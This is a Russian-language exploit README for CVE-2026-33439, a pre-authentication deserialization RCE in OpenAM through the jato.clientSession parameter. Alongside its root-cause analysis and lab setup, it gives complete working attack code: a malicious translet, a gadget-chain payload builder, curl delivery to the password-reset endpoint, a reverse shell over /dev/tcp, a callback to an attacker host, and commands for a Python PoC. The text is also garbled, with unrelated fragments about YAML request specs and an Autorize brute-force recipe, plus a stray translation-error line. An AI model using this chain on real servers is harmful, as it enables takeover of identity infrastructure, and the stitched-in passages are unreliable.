
Первая публично опубликованная реализация эксплойта для CVE-2026-33439 (RCE до аутентификации в OpenAM через десериализацию jato.clientSession).
Анализ человеком + помощь ИИ + reverse engineering + advisory → эксплойт
Первая публично опубликованная реализация эксплойта для CVE-2026-33439
Неаутентифицированная уязвимость десериализации Java в ForgeRock OpenAM, позволяющая выполнить полный удалённый код через специально созданные объекты сеансов JATO. Та же река течёт дважды: они исправили jato.pageSession (CVE-2021-35464) и забыли про jato.clientSession (CVE-2026-33439). Цепочка гаджетов десериализации не спрашивает учётные данные.
CVE-2026-33439 — это уязвимость удалённого выполнения кода (RCE) до аутентификации в OpenIdentityPlatform OpenAM (версии до 16.0.6). Уязвимость возникает из-за небезопасной десериализации Java HTTP-параметра jato.clientSession внутри ClientSession.deserializeAttributes(), который вызывает Encoder.deserialize() → ApplicationObjectInputStream.readObject() без применения белого списка классов.
Неаутентифицированный злоумышленник отправляет специально сформированный HTTP GET или POST запрос, содержащий сериализованный Java-объект, на любую конечную точку JATO ViewBean, чей JSP отображает теги <jato:form>. Получив запрос, сервер десериализует объект без проверки, запускает цепочку гаджетов, собранную целиком из классов, входящих в WAR-файл OpenAM — внешние библиотеки не требуются — и выполняет произвольные команды ОС от имени пользователя процесса приложения.
Вектор CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Critical
Вектор CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical
Эта уязвимость — прямой регресс, вызванный неполным исправлением, применённым после CVE-2021-35464.
CVE-2021-35464 (ForgeRock AM / OpenAM): RCE до аутентификации через небезопасную десериализацию параметра jato.pageSession. Широко эксплуатировалась в реальных атаках; включена в список CISA KEV. Исправление ввело WhitelistObjectInputStream внутри ConsoleViewBeanBase.deserializePageAttributes() — подкласс ObjectInputStream, который проверяет имя каждого класса по жёстко заданному списку разрешённых ~40 безопасных классов перед созданием экземпляра.
CVE-2026-33439 (OpenAM ≤ 16.0.5): Исправление было применено только к jato.pageSession. Параметр jato.clientSession, обрабатываемый совершенно отдельным путём кода в ClientSession.deserializeAttributes(), не был пропатчен и по-прежнему использует нефильтрованный Encoder.deserialize() → ApplicationObjectInputStream, который вызывает ObjectInputStream.readObject() без белого списка классов.
Примитив атаки тот же. Сток десериализации другой. Изменилось только имя параметра.
JATO сериализует состояние представления UI в HTTP-параметры с именами jato.pageSession и jato.clientSession. Когда приходит запрос, OpenAM десериализует эти параметры, чтобы восстановить состояние интерфейса перед формированием ответа. Эти два параметра проходят по совершенно разным путям кода.
Исправленный путь кода (после CVE-2021-35464) для jato.pageSession:```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();
Неисправленный путь кода для jato.clientSession (уязвимый):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
this.encodedSessionString =
context.getRequest().getParameter("jato.clientSession");
}
protected void deserializeAttributes() {
if (this.encodedSessionString != null
&& this.encodedSessionString.trim().length() > 0) {
this.setAttributes(
(Map) Encoder.deserialize(
// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
Encoder.decodeHttp64(this.encodedSessionString), false)
);
}
}
Encoder.deserialize() создает обычный ApplicationObjectInputStream — подкласс ObjectInputStream без фильтрации классов. Любой класс в classpath JVM может быть инстанцирован. Десериализация запускается во время рендеринга JSP при каждом рендеринге тега < jato:form >:``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()
---
<div id="vulnerability_affected"/>
### ***Затронутые версии***
| Продукт | Уязвимые | Исправлено |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5 | 16.0.6 |
| ForgeRock AM (downstream) | Потенциально затронуты в зависимости от линейки патчей | - |
---
<div id="vulnerability_attacksurface"/>
### ***Поверхность атаки***
Любая конечная точка JATO ViewBean, JSP которой содержит тег *< jato:form >*, эксплуатируется без предварительной аутентификации:
| Конечная точка | Назначение |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | Сброс пароля - ввод идентификатора пользователя |
| /ui/PWResetQuestion | Сброс пароля - контрольные вопросы |
Конечные точки сброса пароля являются основной целью: они общедоступны по замыслу и гарантированно отображают теги *< jato:form >*.
---
---
---
<div id="gadgetchain"/>
## ***⚙️ Цепочка гаджетов***
<div id="gadgetchain_deserialization101"/>
### ***Java-десериализация 101***
Когда Java десериализует объект из байтового потока, она вызывает readObject() для каждого восстанавливаемого класса, включая вложенные объекты. Если злоумышленник контролирует байтовый поток и внедряет объект, чей readObject() запускает цепочку вызовов методов, завершающуюся выполнением кода, он получает RCE через гаджет-цепочку.
Ключевая особенность CVE-2026-33439: гаджет-цепочка не требует внешних библиотек. Каждый класс в цепочке включён в сам WAR-файл OpenAM `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>Это делает уязвимость эксплуатируемой в любой стандартной установке OpenAM.</u>
---
<div id="gadgetchain_encoding"/>
### ***Encoder.decodeHttp64***
Это критическая деталь, которая делает эксплойт рабочим. Класс `Encoder` в `jato-shaded-16.0.5.jar` использует URL-safe кодировщик/декодировщик base64 из Java - не стандартный base64 и не собственную схему подстановки символов.
Проверено декомпиляцией Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
На бэкенде содержимое YAML преобразуется в список назначений muckrock. Некоторые выполняемые преобразования:
request.data_format - устанавливает формат данных запроса (см. Спецификация YAML для подробностей)request.data - либо json-данные из поля data либо если назначение muckrock является переменной со значением, из файла envrequest.params - либо json-данные из поля params либо если назначение muckrock является переменной со значением, из файла envrequest.auth - либо json-данные из поля params либо если назначение muckrock является переменной со значением, из файла envВы также можете использовать упрощенный формат:
foass:
base_url: https://www.foaas.com
requests:
- operation:
data_format: json
method: GET
path: "/cool/:from"
data:
key: value
params:
key: value
auth: []
expect:
status: 200
Упрощенный формат не преобразуется в muckrock, а анализируется напрямую.``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
URL-безопасный base64 использует '-' вместо '+' и '_' вместо '/', без дополнения '='. Правильная кодировка:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
Любая другая кодировка, включая стандартный base64 или ручную подстановку символов, приведёт к тому, что decodeHttp64() выбросит исключение или создаст повреждённые байты, молча прерывая десериализацию без ошибки в HTTP-ответе.
Полная цепочка, использующая только классы из OpenAM WAR:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)
No source content was provided after "INPUT:" — the chunk appears to be empty. Please supply the actual text of chunk 15 so I can translate it.```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
Критическая деталь: "Column$ColumnComparator.compare()" вызывает "column.getTable().isSortedAscending()" перед вызовом "getProperty()". Если "getTable()" возвращает null, цепочка прерывается с "NullPointerException" до достижения "TemplatesImpl". Объект "Table" должен быть связан с "Column" через "column.setTable(table)" перед сериализацией.
┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘
| Контейнер | Образ | Роль |
|-------------------------|------------------------------------------|---------------------|
| cve_2026_33439_openam | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Уязвимая цель |
| cve_2026_33439_attacker | debian:bookworm-slim | Атакующая машина |
> В лаборатории используется официальный WAR-файл OpenAM 16.0.5, развернутый на Tomcat 10.1.52 с Java 21 — точно та среда, которая описана в GitHub Security Advisory.
---
<div id="lab_setup"/>
### ***Настройка***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>
**Шаг 1 - Загрузите официальный WAR-файл OpenAM 16.0.5**```powershell
# From PowerShell on the host
cd "01 Vulnerable"
Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
Шаг 2 - Запустите контейнеры```powershell docker compose up -d
**Шаг 3 - Настройка OpenAM через браузер**
Перейдите по адресу "http://localhost:8080/openam", нажмите "Создать конфигурацию по умолчанию" и укажите:
| Поле | Значение |
|---------------------------------|---------------|
| Пароль пользователя по умолчанию (amadmin) | Lab@dm1n2026! |
| Пароль агента | secret12 |
Подождите ~2 минуты, пока завершится настройка.
**Шаг 4 - Убедитесь, что сброс пароля включен**
Войдите как amadmin → Настройка → Глобальные службы → Сброс пароля → включите переключатель → Сохранить изменения.
**Шаг 5 - Определите эксплуатируемые конечные точки JSP**
Найдите все JSP-файлы в WAR, содержащие *< jato:form >* теги, — это конечные точки, в которых запускается десериализация jato.clientSession:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
Изучите исходный код JSP, чтобы понять, почему jato.clientSession может не появляться в отображаемом HTML. Тег <jato:form> обёрнут внутри <jato:content name="resetPage">, который рендерится только тогда, когда ViewBean активирует этот блок. Однако <jato:useViewBean> в верхней части JSP всегда создаёт экземпляр ViewBean и обрабатывает jato.clientSession до того, как решает, какие блоки рендерить — десериализация в любом случае происходит на этом этапе:```powershell
docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp
4. Найдите целевой портал входа
5. Просмотрите ответ в AttackView
### **Выполнение атаки перебора заголовка авторизации на API** (см. AttackRecipe)
В этом сценарии атаки мы начинаем с конечной точки API и заголовком авторизации типа bearer. Чтобы выполнить атаку перебором, **Шаги**:
1. Перейдите в **Настройки Autorize** и отметьте только опцию `Replace Header` с параметром `Authorization`.
2. В поле **API endpoint** на вкладке **Autorize** введите целевой API-эндпоинт и также добавьте **SUBDOMAIN** конечной точки API в поле **Target Domain**.
3. Нажмите на кнопку **Autorize is Off**, чтобы запустить движок Autorize.
4. Отправьте запрос на целевой API-эндпоинт из аутентифицированной сессии, которая также содержит заголовок авторизации bearer.
5. Просмотрите ответ в **AttackView**```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">
<%-- Only renders if ViewBean activates this block --%>
<jato:content name="resetPage">
<jato:form name="PWResetUserValidation" method="post">
<%-- jato.clientSession hidden field appears here --%>
</jato:form>
</jato:content>
</jato:useViewBean>
Шаг 6 - Проверьте, что конечная точка доступна до аутентификации```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"
---
<div id="lab_access"/>
### ***Доступ***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash
Разбор:```powershell
docker compose down
docker compose down -v
---
---
---
<div id="exploitation"/>
## ***💣 Эксплуатация***
<div id="exploitation_prerequisites"/>
### ***Предварительные требования***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>
| Требование | Примечания |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac) | Должен соответствовать версии JVM, на которой работает OpenAM. Одного JRE недостаточно, javac требуется для компиляции EvilTranslet и PayloadBuilder |
| openam-core-16.0.5.jar | Скопирован из контейнера OpenAM - содержит Column, Column$ColumnComparator, PropertyUtils |
| xalan-2.7.3.jar | Скопирован из контейнера OpenAM - содержит TemplatesImpl, TransformerFactoryImpl |
| serializer-2.7.3.jar | Скопирован из контейнера OpenAM - содержит SerializationHandler, используемый EvilTranslet |
| click-nodeps-2.3.0.jar | Скопирован из контейнера OpenAM - содержит Table (требуется для Column$ColumnComparator) |
| click-extras-2.3.0.jar | Скопирован из контейнера OpenAM - транзитивная зависимость click-nodeps |
| jato-shaded-16.0.5.jar | Скопирован из контейнера OpenAM - содержит Encoder с decodeHttp64 |
| servlet-api.jar | Скопирован из lib/ Tomcat - Jakarta Servlet API требуется для сериализации Table |
| Python 3.8+ | Для PoC-скрипта |
| requests | pip install requests |
---
<div id="exploitation_discovery"/>
### ***Обнаружение и разведка***
**Шаг 1 - Подтвердите, что OpenAM запущен, и определите версию**```
http://localhost:8080/openam/ccversion/Version
Шаг 2 - Зондирование конечных точек JATO ViewBean```bash
for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe")
echo "[HTTP ${STATUS}] ${ENDPOINT}"
done
**Шаг 3 — Подтвердите, что jato.clientSession обработан**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"
Ответ будет содержать "jato.defaultCommand" и "jato.pageSession", но не "jato.clientSession" в отображаемом HTML — это ожидаемое поведение. Поле "jato.clientSession" появляется только внутри < jato:content name="resetPage" >, для активации которого ViewBean должен включить этот блок. Однако < jato:useViewBean > всегда создаёт экземпляр ViewBean и обрабатывает "jato.clientSession" до того, как решает, какие блоки отображать. Десериализация запускается в момент создания экземпляра независимо от того, присутствует ли поле в итоговом HTML-выводе. Наличие "jato.pageSession" в ответе подтверждает, что сериализация JATO активна на этой конечной точке, и "jato.clientSession" будет десериализован при следующем запросе.
Перед созданием эксплойта необходимо проверить кодировку, используемую "Encoder.decodeHttp64()", путем декомпиляции JATO JAR. Этот шаг обязателен: использование неправильной кодировки приводит к тихому сбою десериализации.
Шаг 1 — Скопируйте все необходимые JAR-файлы из OpenAM в рабочее пространство атакующего
Из PowerShell на хосте:```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/
**Step 2 - Декомпилируйте Encoder, чтобы проверить метод декодирования**
Изнутри контейнера атакующего:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
Ожидаемый вывод, подтверждающий URL-safe base64:``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
**Шаг 3 - Декомпилируйте Column$ColumnComparator для проверки пути цепочки гаджетов**```bash
# Extract Column and ColumnComparator
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
# Verify compare() calls getTable() before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
This confirms that Column.getTable() must return a non-null Table object, otherwise compare() throws NullPointerException before reaching getProperty() → TemplatesImpl.
Все команды выполняются внутри контейнера атакующего.
Шаг 1 — Установка classpath```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
**Шаг 2 - Напишите и скомпилируйте EvilTranslet.java**
EvilTranslet расширяет AbstractTranslet (требуется TemplatesImpl) и выполняет команду в статическом инициализаторе, который запускается автоматически при newInstance().```bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
javac -cp $CP /work/EvilTranslet.java
Шаг 3 - Напишите и скомпилируйте PayloadBuilder.java
PayloadBuilder создаёт цепочку гаджетов и выводит URL-безопасный сериализованный payload, закодированный в base64.```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;
public class PayloadBuilder {
// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}
static void setField(Object obj, String name, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
static void setFieldPQ(Object obj, String name, Object value) throws Exception {
Field f = PriorityQueue.class.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
// Step 1 - TemplatesImpl with EvilTranslet bytecode
// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{ bytecode });
setField(templates, "_name", "EvilTranslet");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_transletIndex", 0);
// Step 2 - Column with Table associated
// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
Table table = new Table();
Column column = new Column("outputProperties");
column.setTable(table);
@SuppressWarnings("unchecked")
Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
// Step 3 - PriorityQueue as deserialization trigger
// readObject() -> heapify() -> siftDown() -> comparator.compare()
// Size must be >= 2 for heapify to call compare()
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
setFieldPQ(queue, "queue", new Object[]{ templates, templates });
setFieldPQ(queue, "size", 2);
// Step 4 - Serialize and URL-safe base64 encode
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();
System.out.println(encodeHttp64(baos.toByteArray()));
}
} EOF
javac -cp $CP /work/PayloadBuilder.java
**Шаг 4 - Создание полезной нагрузки**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64
# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64
Подтвердите RCE с помощью внеполосного HTTP-обратного вызова
Терминал 1 — Слушатель:``` docker exec -it cve_2026_33439_attacker bash
nc -lvnp 9999
Terminal 2 - Создание и отправка callback-пейлоада:```
docker exec -it cve_2026_33439_attacker bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64
PAYLOAD=$(cat /work/payload_http.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
Если RCE работает, Terminal 1 получает входящее HTTP-соединение от сервера OpenAM:``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /
**Записать файловый артефакт**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
</p>```
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64
PAYLOAD=$(cat /work/payload_file.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
Проверка из PowerShell:``` docker exec cve_2026_33439_openam ls -la /tmp/pwned
**Обратный шелл**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
</p>
Терминал 1 — Слушатель:```
docker exec -it cve_2026_33439_attacker bash
nc -lvnp 4444
Терминал 2 - Доставка:``` docker exec -it cve_2026_33439_attacker bash
CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'
B64CMD=$(echo "$CMD" | base64 -w 0)
cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64
PAYLOAD=$(cat /work/payload_shell.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
---
<div id="exploitation_poc"/>
### ***Использование PoC-инструмента***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
</p>
Скрипт Python автоматизирует полную цепочку: компилирует EvilTranslet, строит цепочку гаджетов через PayloadBuilder, кодирует с помощью URL-safe base64 и доставляет полезную нагрузку.```bash
# Copy JARs to the exploit directory first
[attacker@lab /work]$
touch Exploit_CVE_2026_33439.py
vi Exploit_CVE_2026_33439.py
python3 Exploit_CVE_2026_33439.py --help
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080
Запись в Национальной базе данных уязвимостей (NVD) для CVE-2026-33439.
Официальное уведомление с анализом первопричины, затронутым кодом и деталями цепочки гаджетов.
Предшествующая уязвимость, из-за которой был введён WhitelistObjectInputStream для jato.pageSession.
Оригинальное исследование CVE-2021-35464, описывающее механизм десериализации JATO.
Запись MITRE CWE, описывающая класс уязвимости.